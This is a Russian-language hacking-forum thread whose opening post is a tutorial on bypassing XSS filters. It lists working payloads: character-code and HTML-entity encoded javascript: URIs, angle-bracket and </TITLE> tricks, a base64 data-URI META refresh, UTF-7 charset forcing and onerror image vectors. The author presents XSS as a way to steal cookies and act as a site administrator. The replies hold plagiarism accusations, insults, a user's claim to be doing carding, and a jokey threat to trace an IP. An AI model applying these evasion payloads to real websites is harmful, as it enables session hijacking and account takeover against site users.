Статьи Методы обхода XSS фильтрации

Discussion in 'Статьи' started by ArT-I-ShocK, 19 Aug 2010.

  1. ArT-I-ShocK

    ArT-I-ShocK Banned

    Joined:
    10 Aug 2010
    Messages:
    17
    Likes Received:
    8
    Reputations:
    -5
    [Инпут]

    Здрасте. Данное писание посвящено обзору некоторых из способов обхода xss-фильтров. Уровень сложности материала ориентирован, в среднем, на пользователя имеющего понятие об XSS-атаках, но в то же время имеються доступные краткие объяснения для менее искушенного в этом плане читателя. Это моя первая статья, которая в силу моей неопытности в писательском деле, может иметь некоторые изъяны, так что держите свои помидорные пулеметы в боевой готовности.
    Так же хотелось бы напомнить, что сами XSS атаки имеют намного больший потенциал нежели кража cookies. С помощью XSS можно выполнять теже действия, что и администратор сайта, главное знать как правильно реализовать атаку. Но перед тем, как что-то делать, нужно убедиться в надежности, а в данном случае, в надежности xss-векторов перед системами фильтрации. Краткое содержание данного писания:

    [1] - Спасение кавычек.
    [2] - Использование атрибута.
    [3] - Добавление угловой скобки.
    [4] - Использование тега </TITLE>.
    [5] - Шифрование Base64.
    [6] - Использование Flash.
    [7] - Кодировка UTF-7.
    [8] - Озэръ.

    [1]-[Спасение кавычек]
    Часто встречается ситуация когда фильтр экранирует либо удаляет двойную (") и одинарную (') кавычки. В такой ситуации следует воспользоваться String.fromCharCode(), или unescape(), которые переводят все символы в цифровой код. Разница между ними, лишь, в использовании систем исчисления: String.fromCharCode() использует DEC-значения символов, а unescape() использует HEX-значения.

    Пример:
    Code:
    Код:
    
    alert(String.fromCharCode(120,97,107,110,101,116,46,114,117))
    , где цифры это десятичные коды(DEC) символов.
    Пример:
    Code:
    Код:
    
    alert(unescape(/%78%61%6b%6e%65%74%2e%72%75/.source))
    , где "/%78%61%6b%6e%65%74%2e%72%75/" - это шеснадцатиричные коды (HEX) символов.

    Ещё одним методом, является использование, в качестве альтернативы кавычкам, конструкции / /.source

    Пример:
    Code:
    Код:
    
    <SCRIPT>alert(/message/.source)</SCRIPT>

    [2]-[Использование атрибута]

    Некоторые из атрибутов различных тегов имеют интересные свойства, благодаря которым вы можете использовать кодирование содержимого XSS-вектора. Кодировки, которые можно использовать, такие как, HTML Entities DEC Encode(имеет вид: ), Long HTML Entities DEC Encode(имеет вид: &#(0000)XXX), HTML Entities HEX(имеет вид: &#xXX),(X-цифра). LongHTMLEntities отличается от HTML Entities тем, что не использует точку с запятой для разделения значений символов, и использует дополнительные четыре цифры слева, что даёт возможность обойти фильтрацию -подобных значений, т.к. будет задействовано 7 цифр вместо 3-х.

    Пример (javascript:alert('xaknet.ru')) в HTML Entities DEC:
    Знак "!" перед применением удалить
    Code:
    Код:
    
    <IMG SRC=&!#106;&!#97;&!#118;&!#97;&!#115;&!#99;&!#114;&!#105;&!#112;&!#116;&!#58;&!#97;&!#108;&!#101;&!#114;&!#116;&!#40;&!#39;&!#120;&!#97;&!#107;&!#110;&!#101;&!#116;&!#46;&!#114;&!#117;&!#39;&!#41;>
    Пример (javascript:alert('xaknet.ru')) в Long HTML Entities DEC:
    Знак "!" перед применением удалить
    Code:
    Код:
    
    <IMG SRC=&!#0000106a&!#0000118&!#0000097&!#0000115&!#0000099&!#0000114&!#0000105&!#0000112&!#0000116&!#0000058&!#0000097&!#0000108&!#0000101&!#0000114&!#0000116&!#0000040&!#0000039&!#0000120&!#000097&!#0000107&!#0000110&!#0000101&!#0000116&!#0000046&!#0000114&!#0000117&!#0000039&!#0000041>
    Пример (javascript:alert('xaknet.ru')) в HTML Entities HEX:
    Знак "!" перед применением удалить
    Code:
    Код:
    
    <IMG SRC=&!#x6A;&!#x61;&!#x76;&!#x61;&!#x73;&!#x63;&!#x72;&!#x69;&!#x70;&!#x74;&!#x3A;&!#x61;&!#x6C;&!#x65;&!#x72;&!#x74;&!#x28;&!#x27;&!#x78;&!#x61;&!#x6B;&!#x6E;&!#x65;&!#x74;&!#x2E;&!#x72;&!#x75;&!#x27;&!#x29;>
    Использование атрибутов имеет такую особенность, благодаря которой можно использовать табуляцию, которая будет разделять вектор на части, и это даст вам ещё одну возможность обойти фильтрацию по названиям функций и методов JavaScript. Схожим методом является изменение регистра букв, но существенным недостатком данного способа является отсутствие возможности изменять регистр букв в названии метода.

    Пример:
    Code:
    Код:
    
    <IMG SRC="Ja	va	sc	ri	pt	:	al	er	t(	'me	ssa	ge'	)">
    - такая конструкция работает.
    Пример:
    Code:
    Код:
    
    <IMG SRC="javascript:aLeRt('message')">
    - такая конструкция работать не будет из-за aLeRt(), вызвавшего ошибку.

    Так же можно комбинированно использовать эти два способа, но главное соблюдать целостности HEX и DEC значений закодированных символов, т.е. их не стоит разрывать табуляцией, т.к. конструкция не будет работать.

    Пример HTML Entities DEC:
    Знак "!" перед применением удалить
    Code:
    Код:
    
    <IMG SRC=""Ja	&!#118;	as	c	&!#114;	i	pt	:a	&!#108;	ert	&!#40;	'm	e	s	s	a	g	e'	&!#41	;">
    Всех атрибутов в которых реализована такая возможность я не нашел, да и не искал, т.к. временами случаются приступы вселенской лени, но как мне кажется, это атрибуты, которые имеют характер указателя на объект, либо атрибуты тегов указывающих на объект (страница, рисунок, аплет, и т.д.).

    [3]-[Добавление угловой скобки]
    Данный способ позволяет обойти фильтр, проверяющий сразу на присутствие соответствия открывающих и закрывающих угловых скобок, после обнаружения, которых, считает все, что в них находиться тегом и вырезает, либо видоизменяет до состояния неработоспособности. Избежать вмешательства фильтра можно путём добавления перед открывающим тегом второй открывающей угловой скобки. Особенность данного способа является обязательное наличие знака комментария //, который ставиться перед закрывающим тегом, дабы сделать вид прокомментированной посторонней закрывающей скобки, что бы не нарушить синтаксис и не вызвать ошибку.

    Пример:
    Code:
    Код:
    
    <<SCRIPT>alert('message')//<</SCRIPT>
    Пример:
    Code:
    Код:
    
    <<IMG SRC=javascript:alert('message')//>
    [4]-[Использование тега </TITLE>]
    Так как тег <TITLE>, в большинстве случаев, находится в начале кода страницы, вы, путём добавления закрывающего </TITLE> можете добиться вырезания всего кода страницы между открывающим и закрывающим тегами TITLE, что может добавить шансы на срабатывание скрипта, который должен выполниться сразу после </TITLE>, если использовать данную конструкцию:

    Code:
    Код:
    
    </TITLE><SCRIPT>alert("message");</SCRIPT>
    
    - закрывает все, что находиться между <TITLE> страницы и векторным (вводимым вами) </TITLE>, после чего выполняет alert().

    [5]-[Шифрование алгоритмом base64]
    Также является хорошим способом, если фильтрация направлена на список названий тегов или JS-кода.

    Пример:
    Code:
    Код:
    
    <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgneGFrbmV0LnJ1Jyk8L3NjcmlwdD4=">
    PHNjcmlwdD5hbGVydCgneGFrbmV0LnJ1Jyk8L3NjcmlwdD4= - это зашифрованный вектор <script>alert(xaknet.ru)</script>.

    [6]-[Использование Flash.]
    В качестве обфускации вектора, можно использовать ActionScript через Flash, путём использования переменных и присваивания им значений, которые являются частями xss-кода.

    Пример:
    Code:
    Код:
    
    a="get";
    b="URL(\"";
    c="javascript:";
    d="alert('message');\")";
    eval(a+b+c+d);
    
    [7]-[Использование UTF-7]
    Заключается данный способ в изменении кодировки символов xss-вектора на UTF-7. Это может сработать в тех случаях, когда в странице не указывается кодировка, и атакующий может заставить страницу испольвоть UTF-7, тем самым, обойти фильтрацию, изменив некоторые из символов UTF-8 на UTF-7.

    Пример:
    Code:
    Код:
    
    <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"></HEAD>+ADw-SCRIPT+AD4-alert('message');+ADw-/SCRIPT+AD4-
    В примере угловы кавычки представлены в кодировке UTF-7.


    [8]-[Озэръ]
    Тут я привёл некоторые из альтернативных вариантов проведения xss-атак:

    Code:
    "><img src="x:x" onerror="alert(0)">
    - вызывается ошибка в атрибуте SRC=, из-за чего срабатывает alert().
    with(document)alert(cookie) - эквивалентен alert(document.cookie).
    prompt() - эквивалентен alert().

    Внимание: некоторые из представленных способов работоспособны не во всех браузерах.

    [Оутпут]
    Как видно, это не все возможные способы обхода фильтрации, но основные их обличия я попытался описать. Мне хотелось бы увидеть только здравую и адекватную критику с вашей стороны...

    Зэ энд, товарищи! Спасибо за этеншен.
     
    #1 ArT-I-ShocK, 19 Aug 2010
    Last edited: 19 Aug 2010
    2 people like this.
  2. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    каждое слово боян =/
     
    #2 Дирижабль, 19 Aug 2010
    Last edited: 19 Aug 2010
  3. Uex Urgent

    Uex Urgent Злостный Смайлик

    Joined:
    6 Feb 2009
    Messages:
    236
    Likes Received:
    463
    Reputations:
    452
    1. Не работает в IE начиная с 6 версии.
    В Mozilla до 3 версии работает точно, последующих версиях, кажется, это прикрыли. Надо посмотрел сделать.
    А так, данный вид атаки ориентирован преимущественно на оперу.

    Называется он не [Шифрование алгоритмом base64], а Самодостаточная XSS.


    2. Стоит указывать первоисточник, и постить в разделе ЧУЖИЕ СТАТЬИ.
    http://vulnes.com/showthread.php?p=1051
    http://forum.xaknet.ru/showthread.php?t=16290
    http://forum.k0d.cc/showthread.php?t=6895&


    PS. Двух помидоров достаточно? :)
     
    _________________________
    2 people like this.
  4. Godfather Bulan

    Godfather Bulan Elder - Старейшина

    Joined:
    18 Mar 2008
    Messages:
    172
    Likes Received:
    443
    Reputations:
    25
    Удаляйте, товарищ Берия!
     
    6 people like this.
  5. ArT-I-ShocK

    ArT-I-ShocK Banned

    Joined:
    10 Aug 2010
    Messages:
    17
    Likes Received:
    8
    Reputations:
    -5
    Тему я запостил т.к. будет полезно иметь представлении вообще об методах обхода.
    Тема естественно заезженная, но вроде-бы такой нету.
    Чтобы не придумывать велосипед, запостил наверно и практически все методы тут.

    Статья опять же расчитана на новичка в этом деле.
     
  6. Lilo

    Lilo Banned

    Joined:
    10 Mar 2009
    Messages:
    462
    Likes Received:
    784
    Reputations:
    313
    ну ты не указал первоисточник.
    афтар не ты ведь.
     
  7. ArT-I-ShocK

    ArT-I-ShocK Banned

    Joined:
    10 Aug 2010
    Messages:
    17
    Likes Received:
    8
    Reputations:
    -5
    забыл, но он уже указан.

    Конечно не я. Уже всё придумано
     
  8. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    еще и наглеет что ему хочется видеть....../../ -.-
     
  9. Godfather Bulan

    Godfather Bulan Elder - Старейшина

    Joined:
    18 Mar 2008
    Messages:
    172
    Likes Received:
    443
    Reputations:
    25
    Таких тем на ачате дохера.

    p.s. Его еще 11 дней терпеть. Там мб его загрузят =\
     
  10. legaljo

    legaljo Member

    Joined:
    27 Jul 2010
    Messages:
    195
    Likes Received:
    26
    Reputations:
    7
    Оформление ужасное, информации по факту 0, такие методы уже не прокатят..
     
  11. Godfather Bulan

    Godfather Bulan Elder - Старейшина

    Joined:
    18 Mar 2008
    Messages:
    172
    Likes Received:
    443
    Reputations:
    25
    http://ha.ckers.org/xss.html

    Самое четкое место, в котором все о различных xss (ну или почти все) и браузерах, в которых они работают
     
  12. ArT-I-ShocK

    ArT-I-ShocK Banned

    Joined:
    10 Aug 2010
    Messages:
    17
    Likes Received:
    8
    Reputations:
    -5
    Трите темку эту.

    2Godfather Bulan. Почему 11 дней и почему терпеть? Поставить в игнор тяжело раз не нравится?

    P.S.
     
  13. C#Lane

    C#Lane New Member

    Joined:
    24 Jun 2010
    Messages:
    44
    Likes Received:
    0
    Reputations:
    0
    нуну кул хац, давай умник напиши обходы XSS фильтров? хмм думаю слабо. Статья не твоя, но раз ее оставили гуру ачата, значит посчитали нужной.
    Добавь в заголовке - ретро методы обхода))
     
  14. ICEW!

    ICEW! New Member

    Joined:
    5 Aug 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Данный пост является оффтопиком, если пост будет мешать-потрите.

    Я не занимаюсь взломами. Я на данный момент в теме кардинга. Так что прикрой пожалуйста свой ротик и набивай посты дальше!
    Решил что он школьник-по его постам и темам. Что в этом сложного?
    Если какие то проблемы пиши в пм- разберемся думаю быстро.
     
  15. DeluxeS

    DeluxeS Member

    Joined:
    1 Aug 2009
    Messages:
    7
    Likes Received:
    81
    Reputations:
    19
    :D Суровый кардер епта :baa:
    п\с: высокомерный школяр)
     
  16. C#Lane

    C#Lane New Member

    Joined:
    24 Jun 2010
    Messages:
    44
    Likes Received:
    0
    Reputations:
    0
    поддерживаю, ща карда ip пробьем и пизОосс тебе чел)
    А раз не занимаешься взломами, то ты ваще не в теме мэн, школота -